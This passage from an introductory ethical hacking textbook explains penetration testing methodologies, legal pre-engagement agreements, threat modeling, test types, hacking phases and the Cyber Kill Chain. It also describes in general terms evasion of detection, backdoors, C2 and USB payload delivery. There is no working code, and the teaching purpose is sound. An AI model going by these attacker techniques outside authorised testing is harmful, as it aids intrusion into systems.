may be times when additional software- or hardware-based tools are needed to increase the poten-
tial of compromising the target. Having a budget allows the threat actors to purchase the additional 
resources needed. Similarly, penetration testers are well-funded by their employers to ensure they 
have access to the best tools within the industry to excel at their jobs.

Hack value
Finally, the hack value is simply the motivation or the reason for performing a cyber-attack against a 
targeted system, network, or organization. For a threat actor, it’s the value of accomplishing the ob-
jectives and goals of compromising the system. Threat actors may not target an organization if they 
think it’s not worth the time, effort, or resources to compromise its systems. Other threat actors may 
target the same organization with another motive.

Having completed this section, you have learned about some of the important factors that matter to 
threat actors prior to performing a cyber-attack on an organization. In the next section, you will discover 
the importance of penetration testing and how it helps organizations improve their cyber defenses.

Exploring the importance of penetration testing
Each day, cybersecurity professionals are in a race against time with threat actors in discovering vulner-
abilities in systems and networks. Imagine that threat actors are able to exploit a security vulnerability 
on a targeted system before a cybersecurity professional can find it and implement security controls 
and countermeasures to mitigate the threat. The longer cybersecurity professionals take to identify 
hidden security flaws in systems, the more time threat actors have to improve their cyber operations, 
exploit their targets, and expand their foothold on a compromised network. This would leave the 
cybersecurity professional to perform incident handling and response to contain and eradicate the 
threat and recover any compromised systems back to an acceptable working state.

Organizations are realizing the need to hire white hat hackers such as ethical hackers and penetration 
testers with the skills needed to simulate real-world cyber-attacks on their systems and networks to 
discover and exploit hidden vulnerabilities and better understand the TTPs of cyber criminals. Fur-
thermore, penetration testing helps organizations improve their incident response plans, enhances 
their security posture, and creates a culture of continuous improvement in cybersecurity practices.

These techniques enable the ethical hacker and penetration tester to perform the same type of attacks 
as a real hacker; the difference is the penetration tester is hired by the organization and has been 
granted legal permission to conduct such intrusive security testing.
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At the end of the penetration test, both an executive and technical report are presented to the orga-
nization’s stakeholders detailing all the findings, such as vulnerabilities and how each weakness can 
be exploited. The reports also contain recommendations on how to mitigate and prevent a possible 
cyber-attack on each vulnerability found. This allows the organization to better understand what 
type of information and systems a hacker will discover if they are targeted and the countermeasures 
that are needed to reduce the risk of a future cyber-attack. Some organizations will even perform a 
second penetration test after implementing the recommendations outlined in the penetration test 
reports to determine whether all the vulnerabilities have been fixed, whether the security controls are 
working as expected to mitigate the threats, and whether the attack surface is reduced. By providing 
feedback to the organization’s security team, the interaction ensures that security vulnerabilities 
are better understood and the recommendations are feasible and effective within the context of the 
organization’s mission.

Penetration testing methodologies
Many learners are eager and excited to get started with learning about ethical hacking and penetra-
tion testing, and can’t wait to compromise their first targeted system. Some would be too eager and 
may overlook the fundamentals or forget to perform an important step during a process to reach 
their objectives. As a result, the desired outcome may not be achieved for this reason. Hence, various 
penetration testing methodologies help ethical hackers and penetration testers take a specific course 
of action during security assessments to ensure all in-scope systems, networks, and applications are 
thoroughly tested for security vulnerabilities.

The following are common penetration testing methodologies/frameworks:

• Penetration Testing Execution Standard (PTES)
• Payment Card Industry Data Security Standard (PCI DSS)
• Penetration Testing Framework (PTF)
• Technical Guide to Information Security Testing and Assessment
• Open Source Security Testing Methodology Manual
• OWASP Web Security Testing Guide
• OWASP Mobile Security Testing Guide
• OWASP Firmware Security Testing Methodology

Note

Penetration testers usually have a strong understanding of computers, operating systems, 
networking, and programming, as well as how these technologies work together. Most 
importantly, you need creativity. Creative thinking enables a person to think outside the 
box, go beyond the intended uses of technologies, and find new and exciting ways to 
implement them.
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As shown in the preceding list, there are various penetration testing methodologies that can be ap-
plied to organizations based on their operating industry, category of business, the goals of performing 
ethical hacking and penetration testing, and the scope of the security assessment.

To better understand the importance of each phase of penetration testing, let’s take a closer look at 
the PTES methodology as it is applicable to many scenarios.

Pre-engagement phase
During the pre-engagement phase, key personnel are selected. These individuals are key to provid-
ing information, coordinating resources, and helping the penetration testers understand the scope, 
breadth, and rules of engagement in the assessment. This phase also covers legal requirements, which 
typically include a Non-Disclosure Agreement (NDA) and a Consulting Services Agreement (CSA). 

The following is a typical process overview of what is required prior to the actual penetration testing:

Figure 1.1: Pre-engagement phase elements

To learn more about each penetration testing methodology, please see https://owasp.
org/www-project-web-security-testing-guide/latest/3-The_OWASP_Testing_
Framework/1-Penetration_Testing_Methodologies.

https://owasp.org/www-project-web-security-testing-guide/latest/3-The_OWASP_Testing_Framework/1-Penetration_Testing_Methodologies
https://owasp.org/www-project-web-security-testing-guide/latest/3-The_OWASP_Testing_Framework/1-Penetration_Testing_Methodologies
https://owasp.org/www-project-web-security-testing-guide/latest/3-The_OWASP_Testing_Framework/1-Penetration_Testing_Methodologies
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As shown in the previous diagram, it’s important to obtain legal permission from the persons who 
are in authority at the targeted organization. This is simply your get-out-of-jail card in the event that 
law enforcement is contacted to investigate a possible cyber-attack during the time of the penetration 
test at the organization. Next, the rules of engagement can be coupled with the CSA. The CSA is a 
contractual agreement between the service provider who is offering penetration testing services and 
the customer. The CSA defines the terms and conditions of work to be performed, which includes the 
work schedule timelines, scope of work, deliverables, payment terms, and more prior to starting any 
work on the customer’s systems and networks.

An NDA is a legal agreement that specifies that a penetration tester and their employer will not share 
or hold onto any sensitive or proprietary information that is encountered during the assessment. This 
is important to the customer as the penetration tester will be accessing their systems and may find 
confidential information. Companies usually sign these agreements with cybersecurity companies who 
will, in turn, sign them with the employees who are working on the project. In some cases, companies 
sign these agreements directly with the penetration testers from the company carrying out the project.

The scope of a penetration test, also known as the rules of engagement, defines the systems and net-
works the penetration tester is authorized to perform security assessments on. The scope should be 
directly aligned with the testing objectives to ensure the relevance and effectiveness of the assessment.

In other words, it defines what the penetration tester is permitted and not permitted to hack, and 
whether there are any restricted tools and attacks. This ensures the penetration tester remains within 
legal boundaries. This is a mutual agreement between the client (customer) and the service provider 
(penetration tester). It also defines sensitive systems and their IP addresses as well as testing times, 
and which systems require special testing time-windows. It’s incredibly important for penetration 
testers to pay close attention to the scope of a penetration test and the location they are testing in 
order to always stay within the testing constraints.

The following are some general pre-engagement questions to help you define the scope of a pene-
tration test:

• What is the size/class (IP addresses and/or network blocks) of the external network? (Network 
penetration testing)

• What is the size/class (IP addresses and/or network blocks) of the internal network? (Network 
penetration testing)

• What is the purpose and goal of the penetration test? (Applicable to any form of penetration 
testing)

• How many site pages does the web application have? (Web application penetration testing)

This is not an extensive list of pre-engagement questions, and all engagements should be given thor-
ough thought to ensure that you ask all the important questions so you don’t under-scope or under-price 
the security assessment.

Now that you’ve understood the legal limitation stages of penetration testing, let’s move on to learn 
about the information-gathering phase and its importance.
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Information-gathering phase
Penetration testing is a lot like real-world hacking with the exception the penetration tester is limited 
to the scope and time allocated for the security assessment to be completed. Therefore, like a real 
cyber-attack, penetration testers need to perform sufficient reconnaissance to collect information 
from various data sources to create a profile about the targeted organization and identify security 
vulnerabilities. Information gathering is essential to ensure that penetration testers have access to 
key information that will assist them in successfully conducting their security assessments.

A seasoned professional will normally spend a day or two conducting extensive reconnaissance on 
their target. The more knowledge that is known about the target, the better the penetration tester will 
be able to identify the attack surface, such as points of entry in the targeted systems and networks. 
Additionally, this phase also helps the penetration tester identify the employees, infrastructure, and 
geolocation for physical access, network details, servers, and other valuable information about the 
targeted organization.

Understanding the target is very important before launching any type of attack as a penetration tester, 
as it helps in creating a profile of the potential target and determining which types of attacks are most 
effective based on the attack surface. Additionally, recovering user credentials/login accounts in this 
phase, for instance, will be valuable in later phases of penetration testing as it will help ethical hackers 
and penetration testers gain access to vulnerable systems and networks.

Threat modeling
Threat modeling is a process used to assist penetration testers and network security defenders to 
better understand the threats that inspired the security assessment or the threats that applications or 
networks are most prone to. This data is used to help penetration testers simulate, assess, and address 
the most common threats that an organization, network, or application faces.

Overall, threat modeling helps organizations and cybersecurity professionals better understand and 
evaluate the cyber risks and threats that have the potential to negatively affect the assets of a company. 
In addition, it helps cybersecurity professionals determine the potential each threat has to successfully 
compromise an asset, together with the likelihood and the ability of the organization to respond to 
a security incident.

The following are common threat models:

• Spoofing identity, tampering with data, repudiation threats, information disclosure, denial 
of service, and elevation of privilege (STRIDE)

• Process for attack simulation and threat analysis (PASTA)

Let’s assume we want to perform threat modeling for an online banking system from a cybersecurity 
perspective using STRIDE:

• Spoofing identity – As a threat, the malicious actor can attempt to impersonate the identity of 
a legitimate user to gain unauthorized access to the online banking portal. For mitigation, the 
bank can implement multi-factor authentication (MFA) to improve the verification process 
of legitimate users.
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• Tampering with data – As a threat, a malicious actor can attempt to intercept and alter sensi-
tive financial data that is being transmitted, causing unauthorized transfer of funds from the 
victim’s account. As a mitigation, the bank can implement end-to-end data encryption tech-
nologies such as using digital certificates and signatures to protect the data and its integrity 
during transmission.

• Repudiation threats – As a threat, a threat actor can perform a DoS attack on the bank’s online 
platform to deny any legitimate requests from authorized and trusted users. This would create a 
potential financial loss in transactions performed by the online banking system. As a mitigation 
technique, the cybersecurity team of the bank can implement transactional logging systems 
to record each user’s transaction on the platform and to further validate that each transaction 
is associated with a unique identifier such as a digital signature to enforce non-repudiation, 
where a user cannot deny their action on a system.

• Information disclosure – As a threat, the customer’s sensitive data can be exposed to unautho-
rized persons, either through a security vulnerability within the bank’s database or insecure 
API technologies and implementation. For mitigation, the bank can implement security access 
controls and data encryption technologies to the web application and its database.

• Denial of service – As a threat, the malicious actor can flood unsolicited request messages to 
the bank’s online system, causing the system resources of the hosting server to be overwhelmed 
and become unavailable to process legitimate requests from authorized users. As a mitigation, 
the bank can implement CAPTCHA technologies and intrusion prevention systems (IPSs) to 
detect and prevent malicious network traffic.

• Elevation of privileges – As a threat, the malicious actor may exploit a web application vul-
nerability on the bank’s online portal to escalate their privileges and obtain unauthorized 
access to administrative areas of the online banking system. As a mitigation, implementing 
the principle of least privileges helps ensure that users have only the minimum level of access 
needed to perform their tasks. Furthermore, regular auditing of users’ privileges helps in 
recognizing suspicious activities.

Let’s perform threat modeling for the online banking system using PASTA:

1. Define the objectives – Ensuring the information security and technologies of the online 
banking system to protect the customers’ data, preventing financial fraud, and sustaining the 
availability of the system to users. It’s important to establish the goals of this phase such as 
identifying any potential threats and vulnerabilities that can compromise the online banking 
system.

2. Define technical scope – The online banking system may include web and mobile applications, 
backend database servers and hosting services, third-party vendor technology integration, 
and usage of application programming interfaces (APIs). The technical scope focuses on 
identifying the technical boundaries of the system for analysis that may be susceptible to 
cyber-attacks and threats.
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3. Decompose the application – Identifying and documenting various components, data flows, 
and functionality within the online banking system. It’s important to break down the online 
banking system into different parts to better understand its architectures and dependencies. 
This information helps you better understand the attack surface that an attacker can exploit 
to gain unauthorized access to the system.

4. Analyze the threats – Performing threat analysis to identify potential threats and attack sce-
narios that can be used to exploit security vulnerabilities in the online banking system. This 
stage focuses on developing ideas and analyzing how a threat actor can identify and exploit 
security vulnerabilities in the system.

5. Vulnerability analysis – Identifying and assessing the security vulnerabilities found in the 
online banking system that can be exploited by a malicious actor. This phase is performed 
using code analysis, vulnerability scanning, and assessment tools.

6. Attack analysis – Simulating real-world cyber-attacks based on the identified security vulnera-
bilities and potential threats that can compromise the system. This phase involves creating the 
attack scenario and using the TTPs that real threat actors employ to compromise their targets.

7. Risk and impact analysis – This phase focuses on evaluating the risk (likelihood) and potential 
impact each identified cyber threat would have on compromising the online banking system.

Having understood the importance and need for threat modeling, the next step is to perform a vul-
nerability assessment on the assets to further determine the risk rating and severity.

Vulnerability analysis
During the vulnerability analysis phase, the ethical hacker or penetration tester performs both manual 
and automated testing on targeted systems to identify hidden and unknown security flaws. Identify-
ing security vulnerabilities within systems helps organizations better understand the attack surface, 
which is the vulnerable point of entry within their systems and network infrastructure. While many 
organizations implement and use automated vulnerability scanning tools, it’s also recommended to 
perform manual testing to determine whether a security vulnerability exists on a system and how it 
can be exploited by a real adversary, hence the need for penetration testing.

Furthermore, the vulnerability analysis helps the stakeholders and decision-makers in the organization 
better determine how to allocate resources to higher-priority systems. For instance, many automated 
vulnerability scanners provide a vulnerability score between 0 (lowest) and 10 (most severe) for each 
security flaw found on a system. The vulnerability scores can help organizations determine which 
security vulnerability on a system requires more attention and higher priority due to the potential 
impact if the vulnerability were to be exploited by an adversary. However, not all vulnerabilities with 
high scores are equally critical in every context. The criticality of a vulnerability may depend on factors 
such as the system’s role, the data it handles, and its accessibility to the internet.

To learn more about threat modeling and various frameworks, please see https://
www.crowdstrike.com/cybersecurity-101/threat-modeling/.

https://www.crowdstrike.com/cybersecurity-101/threat-modeling/
https://www.crowdstrike.com/cybersecurity-101/threat-modeling/
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In the later chapters of the book, you will learn how to perform vulnerability assessments using vari-
ous tools and techniques on targeted systems. After identifying the security weaknesses in a targeted 
system or network, the next phase is exploitation.

Exploitation
As an ethical hacker and penetration tester, the next steps are discovering vulnerabilities in a target-
ed system, performing manual testing to validate whether these security vulnerabilities exist, and 
determining how a real threat actor can compromise the system. Exploitation is sometimes the most 
challenging phase during a penetration test since you will need to either develop or acquire an exploit 
and modify and test it thoroughly to ensure it has the capability of taking advantage of the vulnerabil-
ity in the targeted system. Exploitation is the ammunition or evidence that helps articulate why the 
vulnerability matters and illustrates the impact that the vulnerability could have on the organization. 
Furthermore, without exploitation, the assessment is not truly a penetration test and is nothing more 
than a vulnerability assessment, which most companies can conduct in-house better than a third-party 
consultant could. For many cybersecurity professionals, exploitation is the most exciting phase due 
to the feeling of breaking into a system.

To put it simply, during the information-gathering phase, a penetration tester profiles the target and 
identifies any vulnerabilities. Vulnerability assessments play a critical role in identifying and prioritiz-
ing vulnerabilities for remediation. They are a fundamental component of a comprehensive security 
program, providing a broad overview of an organization’s security posture. Using the information 
about the vulnerabilities, the penetration tester will do their research and create specific exploits that 
will take advantage of the vulnerabilities of the target – this is exploitation. We use exploits (malicious 
code) to leverage a vulnerability (weakness) in a system, which will allow us to execute arbitrary code 
and commands on the targeted system(s).

Often, after successfully exploiting a targeted system or network, we may think the task is done – but 
it isn’t just yet. There are tasks and objectives to complete after breaking into the system. Next, we’ll 
discuss the post-exploitation phase in penetration testing.

Post-exploitation
After a threat actor compromises a targeted system, the adversary usually attempts to expand their 
foothold on the network by compromising additional systems and setting up backdoor access. This 
provides additional points of entry into the network infrastructure of the targeted organization. Sim-
ilarly, ethical hackers and penetration testers apply common post-exploitation techniques such as 
lateral movement to compromise other systems on the network and set up C2 operations to control 
multiple systems simultaneously.

During post-exploitation, the primary goal is typically to demonstrate the impact that the vulnerabil-
ity and access gained can pose to the targeted organization. This impact assists in helping executive 
leadership and decision-makers to better understand the risks, vulnerabilities, and damage it could 
cause to the organization if a threat were to target their company and assets.
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Report writing
Report writing is exactly as it sounds and is one of the most important elements of any penetration test. 
Penetration testing may be the service, but report writing is the deliverable that the client/customer 
sees and is the only tangible element given to the client at the end of the security assessment. Reports 
should be given as much attention and care as the testing.

Report writing involves much more than listing the security vulnerabilities that were found, their 
impact, and recommendations. It is the medium through which you convey risk and business impact, 
summarize your findings, and include remediation steps. A good penetration tester also needs to be 
a good report writer or the issues they find will be lost and may never be understood by the customer 
who hired them to conduct the assessment. It’s crucial that the report is understandable to a range of 
stakeholders, including those without technical backgrounds. This means explaining technical vul-
nerabilities in a way that is accessible to non-experts and illustrating the potential business impacts 
of these vulnerabilities.

Having completed this section, you are now able to describe each phase of a penetration test and have 
gained a better idea of the expectations of penetration testers in the industry. Next, we will dive into 
understanding various penetration testing approaches.

Discovering penetration testing approaches
Each penetration test approach is a bit different from the others, and it’s important that you know 
about all of them. Imagine a potential client calling to request a black box test on their external net-
work infrastructure; as a penetration tester, we must be familiar with the terminology and what is 
expected by the customer. The following are the approaches used:

• A white box assessment is typical of web application testing but can extend to any form of pen-
etration testing. The key difference between white, black, and gray box testing is the amount 
of information provided to the penetration testers prior to the engagement. In a white box 
assessment, the penetration tester is provided with full information about the targeted appli-
cations, systems, and networks, and is usually given user credentials with varying degrees of 
access to quickly and thoroughly identify vulnerabilities in the targeted systems and networks. 
This approach reduces the time required by the ethical hacker and penetration tester to per-
form reconnaissance to identify the attack surface of the target. Not all security testing is done 
using the white box approach; sometimes, only the target organization’s name is provided to 
the penetration tester.

• Black box assessments are one of the most common forms of network penetration testing and 
are most typical among external network penetration tests and social engineering penetration 
tests. In a black box assessment, the penetration testers are given very little or no information 
about the targeted organization, its networks, or its systems except the organization’s name. 
This particular form of testing is efficient when trying to determine what a real adversary 
will find and their strategies to gain unauthorized access to the organization’s network and 
techniques for compromising their systems.
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• Gray box assessments are a hybrid of white and black box testing and are typically used to 
provide a realistic testing scenario while also giving penetration testers enough information 
to reduce the time needed to conduct reconnaissance and other black box testing activities. In 
addition, it’s important in any assessment to ensure you are testing all in-scope systems. In a 
true black box, it’s possible to miss systems, and as a result, they are left out of the assessment.

Having completed this section, you have learned about white, gray, and black box security testing 
approaches. Up next, you will learn about different types of penetration testing in the industry. 

Types of penetration testing
As an aspiring ethical hacker and penetration tester, it’s important to understand the difference between 
a vulnerability assessment and penetration testing. In a vulnerability assessment, the cybersecurity 
professional uses a vulnerability scanner to perform authenticated and unauthenticated scans, which 
is used to help identify the security posture of the targeted systems within the organization. These 
vulnerability scanners use various techniques to automate the process of discovering a wide range 
of security weaknesses in systems.

The downside of using an automated vulnerability scanning tool is its incapability to identify the issues 
that manual testing can via penetration testing to validate the vulnerabilities that actually exist on 
the target, and this is one of the many reasons why organizations hire penetration testers to perform 
these assessments on their systems. However, if the penetration tester only delivers the reports of the 
vulnerability scanning tools instead of performing manual testing during a network-based penetration 
test, in my opinion, this is highly unethical. Keep in mind that most effective security assessments 
often involve a combination of automated scanning and manual penetration testing. Automated tools 
can quickly cover a broad surface area, allowing manual testers to focus their efforts on more com-
plex and potentially high-impact vulnerabilities. During the course of this book, you will learn how 
to perform successful penetration testing using industry practices, tools, and techniques.

In the upcoming subsections, you will learn about common types of penetration testing and their 
use cases.

Web application penetration testing
Web application penetration testing (WAPT), is the most common form of penetration testing and is 
likely to be the first penetration testing job most people reading this book will be involved in. WAPT is 
the act of performing manual identification and exploitation of security vulnerabilities in a targeted 
web application using techniques such as SQL injection (SQLi), cross-site scripting (XSS), and business 
logic errors that automated tools might miss.

In the later chapters of this book, you will gain the skills and hands-on experience of getting started 
with WAPT.
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Mobile application penetration testing
As you may have noticed, the different types of penetration testing each have specific objectives. Mo-
bile application penetration testing is similar to WAPT but it’s specific to mobile applications, which 
contain their own attack vectors and threats. This is a rising form of penetration testing with a great 
deal of opportunity for those who are looking to break into this field and have an understanding of 
mobile application development.

Social engineering penetration testing
Social engineering is the art of manipulating basic human psychology (the mind) to find human-based 
vulnerabilities and trick potential victims into doing things they may not otherwise do. The primary 
goal of social engineering penetration testing is to identify vulnerabilities in an organization’s security 
awareness and procedures and to measure how employees respond to social engineering attacks.

For instance, adversaries will attempt to trick an employee within a targeted organization into con-
necting a malware-infected USB drive to their computer or opening a malware-infected attachment 
within an email message. In my opinion, it is the most adrenaline-filled type of security assessment.

In this form of penetration testing, you may be asked to do activities such as sending phishing emails, 
making vishing phone calls, or talking your way into secure facilities and connecting a USB drive to the 
system to determine what a real adversary could achieve. There are many types of social engineering 
attacks, which will be covered later on in this book.

Network penetration testing (external and internal)
Network penetration testing focuses on identifying security weaknesses in a targeted environment. 
The penetration test objectives are to identify the flaws in the targeted organization’s systems, their 
networks (wired and wireless), and their networking devices such as switches and routers.

The following are some tasks that are performed using network penetration testing:

• Bypassing an intrusion detection system (IDS)/IPS
• Bypassing firewall appliances
• Password cracking
• Gaining access to end devices and servers
• Exploiting misconfigurations on switches and routers

External network penetration testing focuses on performing security testing from the internet to iden-
tify any security vulnerabilities that a malicious actor can identify and exploit to gain authorized access 
to the organization’s internal network. In internal penetration testing, the penetration tester deploys 
their attack machine, which is directly connected to the organization’s internal network; therefore, 
the penetration testing is no longer concerned about bypassing the organization’s perimeter firewall.
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Cloud penetration testing
Cloud penetration testing involves performing security assessments to identify the risks on cloud-
based platforms to discover any security vulnerabilities that may expose confidential information 
to malicious actors. Before attempting to directly engage a cloud platform, ensure you have legal 
permission from the cloud provider. For instance, if you are going to perform penetration testing on 
the Microsoft Azure platform, you’ll need legal permission from both the cloud provider (Microsoft), 
as your actions may affect other users and services who are sharing the data center, and the customer 
who is hiring you for the service.

Cloud penetration testing can include various aspects such as testing the cloud provider’s infrastructure, 
the customer’s cloud-based applications, and the configuration of cloud services such as Software as 
a Service (SaaS), Platform as a Service (PaaS), and Infrastructure as a Service (IaaS).

Physical penetration testing
Physical penetration testing focuses on testing the physical security access control systems in place 
to protect an organization’s data. Security controls exist within offices and data centers to prevent 
unauthorized persons from entering secure areas of a company. 

Physical security controls include the following:

• Security cameras and sensors – Security cameras are used to monitor physical actions within 
an area.

• Biometric authentication systems – Biometrics are used to ensure that only authorized people 
are granted access to an area.

• Doors and locks – Locking systems are used to prevent unauthorized persons from entering 
a secure room or area.

• Security guards – Security guards are people who are assigned to protect something, someone, 
or an area.

Having completed this section, you are now able to describe various types of penetration testing. Your 
journey ahead won’t be complete without understanding the phases of hacking. The different phases 
of hacking will be covered in the next section.

Exploring the phases of penetration testing
Ethical hackers and penetration testers are white hat hackers, and it’s important to understand the 
general phases of hacking and how each phase is typically aligned to penetration testing. During any 
penetration testing training, you’ll encounter the five phases of hacking.

The following are the general five phases of hacking:



Chapter 1 23

Figure 1.2: Phases of penetration testing

As shown in the preceding diagram, a threat actor performs reconnaissance on the targeted system, 
network, or organization to collect as much information as possible to better understand the attack 
surface of the target before moving forward and launching an attack to compromise the target. In the 
following subsections, you will learn more about the purpose of each phase and how it aligns with 
ethical hacking and penetration testing.

Reconnaissance
Reconnaissance, commonly referred to as the information-gathering phase, is where the threat actor 
focuses on acquiring meaningful information about their target. The collected information is ana-
lyzed to create context and develop a profile about the targeted system, network, or organization. The 
collected information helps the threat actor better understand the target’s attack surface and develop/
acquire specific exploits that are suitable for compromising targeted systems.

The following are techniques used in the reconnaissance phase:

• Using internet search engines to gather information
• Using social networking platforms
• Performing Google hacking techniques
• Performing Domain Name System (DNS) interrogation
• Using social engineering techniques

During this phase, the objective is to gather as much information as possible about the target. Next, we 
will discuss using a more direct approach: engaging the target to get specific and detailed information.

Scanning and enumeration
The second phase of hacking is scanning. Scanning involves using a direct approach via active re-
connaissance in engaging the target to obtain information that is not accessible via passive informa-
tion-gathering techniques. This phase also involves profiling the targeted organization, its systems, 
and network infrastructure by sending specially crafted probes to the target.
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The following are techniques used in the scanning phase:

• Performing host discovery
• Checking for firewalls and testing their rules
• Checking for open network ports and running services
• Checking for security vulnerabilities
• Creating a network topology of the target network

This phase is very important as it helps us improve the profile of the target. The information found in 
this phase will help us move on to performing exploitation on the targeted system or network.

Gaining access (exploitation)
This phase can sometimes be the most challenging phase of all. During this phase, the threat actor 
uses information obtained from the previous phases to either craft an exploit or acquire one from 
online sources that is designed to compromise the security vulnerability of the target. In addition, the 
threat actor needs to test the exploit to ensure it’s working as expected before delivering and executing 
it on the targeted system.

The following can occur once access is gained on a targeted system or network:

• Retrieving and cracking stored passwords on systems
• Escalating privileges
• Transferring additional payloads and malware

The gaining access (exploitation) phase can at times be difficult as exploits may work on one targeted 
system and not on another. Once an exploit is successful and system access is acquired, the next 
phase is to ensure the threat actor expands their foothold on the compromised system and network.

Maintaining access
After gaining access to a system, the threat actor usually attempts to implement additional backdoors 
on the compromised system to expand their foothold. In addition, the threat actor usually performs 
lateral movement on the network by compromising other systems and setting up backdoors for per-
sistent access to the victim’s network. Therefore, if a compromised system is offline, the attacker can 
attempt to remotely connect to another to regain access to the targeted network.

The objectives of maintaining access are as follows:

• Lateral movement
• Exfiltration of data
• Creating backdoor and persistent connections

Maintaining access is important to ensure that you, the penetration tester, always have access to the 
targeted systems or network. Once the technical aspect of the penetration test is completed, it’s time 
to clean up the network.
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Covering your tracks
The last phase is to cover your tracks. This ensures that you do not leave any traces of your presence 
on a compromised system or network. As penetration testers, we would like to be as undetectable 
as possible on a targeted network, not triggering any alerts on security sensors and appliances while 
we remove any residual traces of the actions performed during the penetration test. Covering your 
tracks ensures that you don’t leave any trace of your presence on the network, as a penetration test 
is designed to be stealthy and simulate real-world attacks on an organization to both identify hidden 
security vulnerabilities and test the effectiveness of the cyber defenses of the organization.

Having completed this section, you have gained the knowledge to describe the various phases of 
hacking that are commonly used by threat actors. In the next section, you will discover the Cyber Kill 
Chain framework, which we are going to leverage in the training and exercises throughout this book.

Understanding the Cyber Kill Chain framework 
As an aspiring ethical hacker and penetration tester who’s breaking into the cybersecurity industry, it’s 
essential to understand the mindset of threat actors, adversaries, and malicious actors. To be better 
at penetration testing, you need to develop a very creative and strategic mindset. To put it simply, you 
need to think like a real hacker if you are to compromise systems and networks as a cybersecurity 
professional.

Cyber Kill Chain is a seven-stage framework developed by Lockheed Martin, an American aerospace 
corporation. This framework outlines each critical step a threat actor will need to perform before 
they are successful in meeting the objectives and goals of the cyber-attack against their targets. Cy-
bersecurity professionals will be able to reduce the likelihood of the threat actor meeting their goals 
and reduce the amount of damage if they are able to stop the attacker during the earlier phases of 
the Cyber Kill Chain.

The following diagram shows the seven stages of the Cyber Kill Chain that are used by threat actors:

Figure 1.3: Cyber Kill Chain phases



Introduction to Ethical Hacking26

As shown in the preceding diagram, each stage of the Cyber Kill Chain flows into the other until 
the adversary reaches the last phase, actions on objectives, in which the threat actor has successfully 
achieved the goals of their cyber-attack, and neither the cyber defenses nor cybersecurity team of 
the compromised organization were able to stop the attack or hacker in their tracks. This is the typi-
cal operation of a red team, to simulate real-world adversary threats that are similar to APTs. Unlike 
penetration testers who are given a time constraint and scope for testing, red teamers do not typically 
have a scope or time constraint to perform their security testing on a target. However, red teamers 
still need legal permission prior to any security testing.

On the blue team side of cybersecurity operations, security engineers need to ensure the systems and 
networks are very well protected and monitored for any potential threats. If a threat is detected, the 
blue team needs to analyze and contain (isolate) the threat as quickly as possible, preventing it from 
spreading to other devices on the network. However, as aspiring ethical hackers and penetration testers, 
we can apply the techniques and strategies used by threat actors that are associated with each stage of 
the Cyber Kill Chain to achieve our objectives during a real-world penetration test for an organization.

In the next few sections, you will learn about the fundamentals of each stage of the Cyber Kill Chain, 
how each is used by threat actors, and how penetration testers apply these strategies within their 
security assessments.

Reconnaissance
As with every battle plan, it’s important to know a lot about your opponent before starting a war. The 
reconnaissance phase focuses on gathering a lot of information and intelligence about the target, 
whether it’s a person or an organization. Threat actors and penetration testers use this stage to create 
a profile of their targets, which contains IP addresses, operating systems, open service ports, running 
applications, security vulnerabilities, and any sensitive resources that may be unintentionally exposed 
that can increase the attack surface.

Threat actors will spend a lot of time researching their target to determine the geolocation of any phys-
ical offices, online services, domain names, network infrastructure, online servers, web applications, 
employees’ contact details, telephone numbers, email addresses, and so on. The main objective is to 
know as much information about the target as possible. Sometimes, this phase can take a long time. 
Compared to a penetration tester who has a specific time period to perform the entire penetration 
test, it can take 1 to 2 days of intensive research before moving on to the next phase. However, since 
adversaries do not have any time constraints like ethical hackers and penetration testers, they can 
spend a lot more time collecting information, looking for security vulnerabilities, and better planning 
their cyber-attacks on the target.

NOTE

The reconnaissance stage involves both passive and active information-gathering tech-
niques, which will be covered in later chapters of this book. You will also discover tools 
and techniques to improve your information-collecting and analysis skills during a pen-
etration test.
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Weaponization
Using the information gathered from the reconnaissance phase, the threat actor and penetration 
tester can use it to better craft a weapon, also referred to as an exploit, which can take advantage of 
a security vulnerability in the targeted system. The weapon (exploit) has to be specially crafted and 
tested to ensure it is successful when launched by the threat actor or penetration tester. The objective 
of the exploit is to compromise the confidentiality, integrity, and/or availability (CIA) of the systems 
or networks that are owned by the targeted organization.

Both threat actors and penetration testers need to consider the likelihood that their exploit will be 
detected by any antimalware, endpoint detection and response (EDR), and any threat detection solu-
tions that monitor the targeted systems and network. Therefore, it’s important to encode or disguise 
the exploit to reduce triggering any security sensors and alerting the security team.

An exploit takes advantage of a vulnerability. After that happens, what’s next? To be a bit more strategic, 
threat actors and penetration testers will couple their exploit with additional payloads. The payload 
is unleashed after the exploit has compromised the system. As a simple example, a payload can be 
used to create a persistent backdoor on the targeted system to allow the threat actor or the penetration 
tester remote access to the system at any time when the compromised system is online.

Delivery
After creating the exploit (weapon), the threat actor or penetration tester has to use an attack vector 
as a method to deliver the exploit onto the targeted system. Delivery can be done using the creative 
mindset of the attacker, whether using email messaging, instant messaging services, or even by creat-
ing drive-by downloads on compromised web services. Another technique is to copy the exploit onto 
multiple USB drives and drop them within the compound of the target organization, with the hope 
that an employee will find it and connect it to an internal system due to human curiosity.

The following is a picture of a USB Rubber Ducky, which is commonly used during ethical hacking 
and penetration testing:

Figure 1.4: USB rubbery ducky

As shown in the preceding image, the USB Rubber Ducky enables a penetration tester to load malicious 
scripts onto a memory card. Once this device is connected to a computer, it is detected as a human 
interface device (HID) such as a keyboard, and then executes the script on the targeted system. This 
is just one of many creative ideas for delivering a payload to a target. 
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As an aspiring ethical hacker and penetration tester, ensure you have multiple methods of delivering the 
weapon to the target, such that, in the event that one method does not work, you have alternative solutions.

Exploitation
After the weapon (exploit) is delivered to the target, the attacker needs to ensure that when the exploit 
is executed, it is successful in taking advantage of the security vulnerability of the targeted system as 
intended. If the exploit does not work, the threat actor or penetration tester may be detected by the 
organization’s cyber defenses and this can create a halt in the Cyber Kill Chain. The attacker needs to 
ensure the exploit is tested properly before executing it on the targeted system.

Installation
After the threat actor has exploited the targeted system, the attacker will attempt to create multiple 
persistent backdoor accesses to the compromised system. This allows the threat actor or the pene-
tration tester to have multiple channels of entry back into the system and network. During this stage, 
additional applications may be usually installed while the threat actor takes a lot of precautions to 
avoid detection by any threat detection systems.

Command and Control (C2)
An important stage in a cyber-attack is creating C2 communication channels between the compro-
mised systems and a C2 server on the internet. This allows the threat actor to centrally control a 
group of infected systems (zombies) in a collection of a botnet using a C2 server that is managed by 
the adversary. This allows the threat actor to create an army of zombies, all controlled and managed 
by a single threat actor. The following diagram shows an example of C2:

Figure 1.5: Command and Control operations
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The threat actor uses data encryption, encapsulation, and various tunneling techniques to evade threat 
detection systems within target organizations. Similarly, there is an advanced stage of penetration 
